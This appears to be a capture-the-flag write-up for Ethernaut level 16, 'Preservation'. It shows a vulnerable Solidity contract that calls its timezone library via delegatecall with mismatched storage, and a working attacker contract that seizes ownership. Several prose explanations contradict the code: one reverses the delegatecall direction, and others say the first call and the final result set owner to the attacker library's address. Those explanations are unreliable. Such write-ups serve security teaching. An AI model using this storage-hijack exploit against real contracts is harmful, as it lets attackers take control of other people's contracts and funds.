Ethernaut(Lvl 16): Call it delegatecall injection.

Ethernaut(Lvl 16): Call it delegatecall injection.

delegatecall as a means to hack vulnerable smart contracts.

Delegatecall is a specialized function call in Ethereum that enables a contract to invoke functions from another contract, often a library contract. When Contract A makes a delegatecall to Contract B, it grants Contract B the ability to modify the storage of Contract A, using Contract B's relative storage reference pointers. This means that if you control Contract B and it makes a delegatecall to Contract A, you can manipulate the state of Contract A.

In Ethereum, contract storage consists of 32-byte sized slots used to store state variables. These slots are numbered sequentially from index 0 up to 2^256 slots. Basic data types are stored contiguously in storage starting from position 0, then 1, and so on until slot 2^256-1. If the combined size of sequentially declared data is less than 32 bytes, the data points are packed into a single storage slot to optimize space and gas usage.

Understanding the layout of storage data locations between Contract A and Contract B allows precise manipulation of desired variables in Contract A, especially when combined with delegatecall functionality.

The Challenge

The challenge has a contract that utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
  1. Contract Setup:

    • The PreservationAttacker contract is deployed with the address of the IPreservation contract as an argument to its constructor.

    • Additionally, a new instance of the PreservationAttackerLib contract, named detour, is created.

  2. Attack Execution:

    • The attack() function of the PreservationAttacker contract is called.

    • Inside the attack() function:

      • The setFirstTime() function of the IPreservation contract is called with the address of the PreservationAttackerLib contract (detour) as an argument.

      • This works because the PreservationAttackerLib contract is designed to have the same storage layout as the IPreservation contract, with the owner variable at slot index 2.

      • When setFirstTime() is called, it updates the storage variable owner in the IPreservation contract to the address of the PreservationAttackerLib contract (detour).

      • Since the setFirstTime() function is invoked using delegatecall, it executes within the context of the IPreservation contract, allowing it to modify the storage of the IPreservation contract.

  3. Time Manipulation:

    • After updating the owner variable in the IPreservation contract, the setFirstTime() function of the IPreservation contract is called again with a parameter of 0.

    • This triggers the setTime() function in the PreservationAttackerLib contract (detour), which sets the owner variable to tx.origin.

As a result of this attack, the owner variable in the IPreservation contract is changed to the address of the PreservationAttackerLib contract (detour), effectively compromising the integrity of the IPreservation contract's storage.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPreservation {
    function setFirstTime(uint _timeStamp) external;
}

// this one will be called by delegatecall
contract PreservationAttackerLib {
    // needs same storage layout as Preservation, i.e.,
    // we want owner at slot index 2
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint256 _time) public {
        owner = tx.origin;
    }
}

contract PreservationAttacker {
    IPreservation public challenge;
    PreservationAttackerLib public detour;

    constructor(address challengeAddress) {
        challenge = IPreservation(challengeAddress);
        detour = new PreservationAttackerLib();
    }

    function attack() external {
      // 1. change the library address to our evil detour lib
      // this works because their LibraryContract is invoked using delegatecall
      // which executes in challenge contract's context (uses same storage)
      challenge.setFirstTime(uint256(uint160(address(detour))));

      // 2. now make challenge contract call setTime function of our detour
      challenge.setFirstTime(0);
    }
}

Developer TidBits

It's considered best practice for libraries not to maintain state. When developing libraries, opt for the library keyword over contract to prevent unintended modification of the caller's storage data during delegatecall usage. Moreover, prioritize employing higher-level function calls for library inheritance, especially in cases where modifying contract storage isn't necessary and gas control isn't a priority. This approach fosters clearer separation of concerns and reduces the likelihood of inadvertent side effects when using delegatecall with libraries.